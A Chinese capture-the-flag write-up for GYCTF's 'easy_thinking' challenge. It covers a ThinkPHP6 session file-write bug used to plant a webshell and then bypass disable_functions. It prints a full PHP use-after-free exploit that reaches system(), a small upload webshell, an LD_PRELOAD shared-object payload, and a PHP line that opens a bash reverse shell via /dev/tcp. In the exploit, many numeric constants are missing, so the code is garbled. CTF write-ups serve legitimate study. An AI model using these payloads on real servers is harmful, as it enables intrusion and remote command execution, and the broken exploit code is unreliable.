GYCTF easy_thinking
前期储备:ThinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/
学习链接:
https://www.freebuf.com/articles/web/192052.html
https://bugs.php.net/bug.php?id=72530
https://www.gem-love.com/ctf/1669.html#easy_thinking
https://www.jianshu.com/p/b0a130fe5c4d
复现:
源码泄露,看了一下是tp6框架,代码审计一下
常见的系统命令函数:

修改session,长度为32位,session后缀改为.php{加上.php后为32位}
在搜索框搜索的内容会直接保存在/runtime/session/目录下,直接getshell
但是上传了一句话连不上去(菜刀8行,可以用antsword),看一下phpinfo,发现许多函数都被ban了,这里学习到了师傅的方法:https://www.gem-love.com/ctf/1669.html#easy_thinking
exp:https://github.com/mm0r1/exploits
<?php
pwn("/readflag"); //这里是想要执行的系统命令
function pwn($cmd) {
global $abc, $helper;
function str2ptr(&$str, $p = , $s = ) {
$address = ;
for($j = $s-; $j >= ; $j--) {
$address <<= ;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = ) {
$out = "";
for ($i=; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
}
function write(&$str, $p, $v, $n = ) {
$i = ;
for($i = ; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= ;
}
}
function leak($addr, $p = , $s = ) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != ) { $leak %= << ($s * ) - ; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, );
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, );
$e_phnum = leak($base, 0x38, );
for($i = ; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, , );
$p_flags = leak($header, , );
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = ; $i < $data_size / ; $i++) {
$leak = leak($data_addr, $i * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + ) * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * ;
}
}
function get_binary_base($binary_leak) {
$base = ;
$start = $binary_leak & 0xfffffffffffff000;
for($i = ; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, , );
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, , );
if($f_name == 0x6d6574737973) { # system
return leak($addr + );
}
$addr += 0x20;
} while($f_entry != );
return false;
}
class ryat {
var $ryat;
var $chtg;
function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = ;
}
}
class Helper {
public $a, $b, $c, $d;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = ; # increase this value if you get segfaults
$contiguous = [];
for($i = ; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', );
$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles();
$v = [];
$v[] = ptr2str(, );
unset($v);
$abc = $out[][];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == || strlen($abc) == ) {
die("UAF failed");
}
# leaks
$closure_handlers = str2ptr($abc, );
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
# fake value
write($abc, 0x60, );
write($abc, 0x70, );
# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, );
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
# fake closure object
$fake_obj_offset = 0xd0;
for($i = ; $i < 0x110; $i += ) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, , ); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
($helper->b)($cmd);
exit();
}
bypss这些函数要使用到脚本,可是不可能一次性上传大的脚本,于是写了个小马,构造一个表单上传脚本
<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>
上面师傅的blog里还学到了另一个情况,(2019第十届极客挑战赛RCE ME)
通常情况下使用LD_PRELOAD劫持系统函数,参考https://www.freebuf.com/articles/web/192052.html
但是这个题ban了mail(),所以不能用。
与本题类似题目:
2019高校网络信息安全管理运维挑战赛的expass,利用php2016年的漏洞https://bugs.php.net/bug.php?id=72530
脚本是一样的 (师傅tpl!!!)
小记 一般导致webshell不能执行命令的原因
一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;
二是 web 进程运行在 rbash 这类受限 shell 环境中;
三是 WAF 拦劫。若是一则无法执行任何命令,
若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。利用前面的 RCE 漏洞执行 phpinfo()可查证推测
绕过思路:
有四种绕过 disable_functions 的手法:
第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;
第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果(要求PHP支持 putenv()、mail())
如果mail(),putenv()被ban了,就试一下介个脚本
官方wp:
看了官方wp--------------
如果phpinfo里面有 gnupg 拓展,该拓展能够实现在 php 中使用 gpg 加密,测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass。
exp.c
#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}
将本地生成exp.so ( gcc --share -fPIC exp.c -o exp.so )传入/tmp/下
再传入
<?php putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>
反弹shell,读取文件就可以了
但是我刚开官方wp的时候,很迷惑,mail函数已经被ban了,为什么还可以用LD_PRELOAD突破bypass?????
在buu上复现的时候不行耶。。。。 我去研究研究。。。。。知道了再来写
GYCTF easy_thinking的更多相关文章
- GYCTF Flaskapp[SSTI模板注入 ]
题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...
- GYCTF 盲注【regexp注入+时间盲注】
考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...
- GYCTF easyphp 【反序列化配合字符逃逸】
基础知识可以参考我之前写的那个 0CTF 2016 piapiapia 那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...
- GYCTF Node game
考点: NodeJS 代码审计 SSRF 请求夹带 复现: 不太懂js,先留着吧,学懂了再记录
- GYCTF ezupload
上传一句话,没有任何过滤 菜刀连接后,读取flag文件 bash -c/readflag >tmp cat tmp 上面是非预期的解法.应该是题出问题了.看了一个师傅的blog,看源码,发现预期 ...
- easy_thinking
登陆抓包,改成32位,根据tp6任意创建文件的漏洞,修改cookie. 上传文件. 木马在/runtime/session下, 然后传bypass文件绕过disablefunction,得到flag
- [BUUOJ记录] [GYCTF]EasyThinking
主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...
- GYCTF Web区部分WP
目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...
- 原型链污染(Node.js污染,javasrcipt原型链污染的)
学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS https://xz.aliyun.com/t/7184 相关题是 GYCTF ez_expr ...
随机推荐
- Windows服务器使用Telegraf采集服务器监控指标输出到influxdb
1.环境说明 操作系统:Windows Server 2008 R2 IP:192.168.10.135 官方文档地址 :https://docs.influxdata.com/telegraf/v1 ...
- 【全集】IDEA入门到实战
课程介绍 IDEA是一款功能强悍.非常好用的Java开发工具,近几年编程开发人员对IDEA情有独钟.虽然IDEA功能很强大,但目前市面讲解的不细致.不系统,导致很多IDEA初学者要么无从下手,要么 ...
- vue自带的实例属性和方法($打头)
Vue 实例内置了一些有用的实例属性与方法.它们都有前缀 $,以便与用户定义的属性区分开来.例如: var data = { a: 1 } var vm = new Vue({ el: '#examp ...
- 用msi安装MySQL时MySQL Server组件不能安装,或安装失败
我的环境: MySQL8.0.15, win10 错误描述:在安装MySQL时,如果MySQL Server组件提示不能安装,错误提示是:VS 2015没有安装或安装失败.原因 ...
- 【大白话系列】MySQL 学习总结 之 COMPACT 行格式的设计原理
如果大家对我的 [大白话系列]MySQL 学习总结系列 感兴趣的话,可以点击关注一波. 一.回顾 MySQL 学习总结系列至此已经第七节了. 从大方向:我们已经学习了 MySQL 的架构设计.Inno ...
- NodeJs-promise和async_await语法
Callback hell回调地域 当我们以同步的方式编写耗时的代码,那么就会阻塞JS的单线程,造成CPU一直等待IO完成才去执行后面的代码. 而CPU的执行速度是远远大于硬盘IO速度的,这样等待只会 ...
- 共同战“疫”,CODING 帮助研发团队高效协同
新冠疫情下,家里蹲的日子继续延长.部分企业虽然受困于不能回公司办公,但都陆续开启了远程协作办公,远程协作领域被推上了风口.但「远程协同」看不见摸不着工作伙伴,个人的自律能力也无法保证,难免出现沟通响应 ...
- JAVA架构师眼中的高并发架构,分布式架构 应用服务器集群
前言 高并发经常会发生在有大活跃用户量,用户高聚集的业务场景中,如:秒杀活动,定时领取红包等. 为了让业务可以流畅的运行并且给用户一个好的交互体验,我们需要根据业务场景预估达到的并发量等因素,来设计适 ...
- winForm学习 2019年4月11日
1.Directory静态类 相似类:File.Path.StreamReader.StreamWirter 创建文件夹:Directory.CreateDirectory 删除文件夹:Directo ...
- C#_.net core 3.0自定义读取.csv文件数据_解决首行不是标题的问题_Linqtocsv改进
linqtocsv文件有不太好的地方就是:无法设置标题的行数,默认首行就是标题,这不是很尴尬吗? 并不是所有的csv文件严格写的首行是标题,下面全是数据,我接受的任务就是读取很多.csv报表数据, ...